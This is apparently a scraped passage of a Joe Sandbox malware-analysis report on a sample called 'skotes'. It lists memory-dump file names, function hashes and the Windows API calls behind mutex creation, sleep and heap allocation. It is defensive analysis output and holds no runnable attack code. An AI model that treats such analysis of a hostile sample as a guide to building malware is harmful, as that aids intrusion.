Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8f93a53cec5ab4d0982ca70fbc060d068c4b2fc5d93855b266d1cf216dc77c59
Instruction ID: 1e99eec05d721edbd0dce80a2eea23cbc32491b4bb5f307ef7e3e2ca10a54a5a
Opcode Fuzzy Hash: 8f93a53cec5ab4d0982ca70fbc060d068c4b2fc5d93855b266d1cf216dc77c59
Instruction Fuzzy Hash: 5731F4317043049BEB18DB7CEC89BADB7B2DFC6324F288619E119972D5C77699808672

Function 00D09ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 42243b0177bed7c205118bd610120d54547bfc3e544f40362246b91055907a2f
Instruction ID: 5179af7f2300b3cb27ce06f6c65122174e19801e6c46bd6e3d9861504181c80e
Opcode Fuzzy Hash: 42243b0177bed7c205118bd610120d54547bfc3e544f40362246b91055907a2f
Instruction Fuzzy Hash: 5E2137317443009BEB18DB6CFCD5B6CF7A2EBC6324F248219E519D72D5CB7599808A71

Function 00D0A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0bf0ec17f6d6b58fe66eeba6294f4de05a6fb5433872147c9820991c00df2c21
Instruction ID: 5adcc04a32b0f0b4a958bd35050e8ec378503b6960c47aa177f48220aece8e94
Opcode Fuzzy Hash: 0bf0ec17f6d6b58fe66eeba6294f4de05a6fb5433872147c9820991c00df2c21
Instruction Fuzzy Hash: 1B213D31744301DBFB28E76C989776DB652DF81304F288816E54CD62D1CB769D8581B3

Function 00D0A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c0455590591cbd09b812ad1065b5ac7c3bd07ffa6fee36a9d3ad57ae6afd50e3
Instruction ID: 5ea02252706db9f54ce7a6e465bdf9d62338b79c056eed24a24baeac6e006b78
Opcode Fuzzy Hash: c0455590591cbd09b812ad1065b5ac7c3bd07ffa6fee36a9d3ad57ae6afd50e3
Instruction Fuzzy Hash: DE214C327443009BEB18DB6CFC8576CB762DBD6314F28821AE509D77D0CB7599808772

Function 00D3D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D3A813,00000001,00000364,00000006,000000FF,?,00D3EE3F,?,00000004,00000000,?,?), ref: 00D3D871

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 04fa44aadd186af01426eebef7227c5e072bf1d45d79a35c770dc318d93534f2
Instruction ID: ac975a989356f7f72944e2430703f1d89440fc6704708af80dcb12438189d9ea
Opcode Fuzzy Hash: 04fa44aadd186af01426eebef7227c5e072bf1d45d79a35c770dc318d93534f2
Instruction Fuzzy Hash: FFF0823260562566EB216A76BC01A5B775BDF85770F1D8521FD08A7181DA60FC01DEF0

Non-executed Functions

Function 00D3CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D3CC66

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
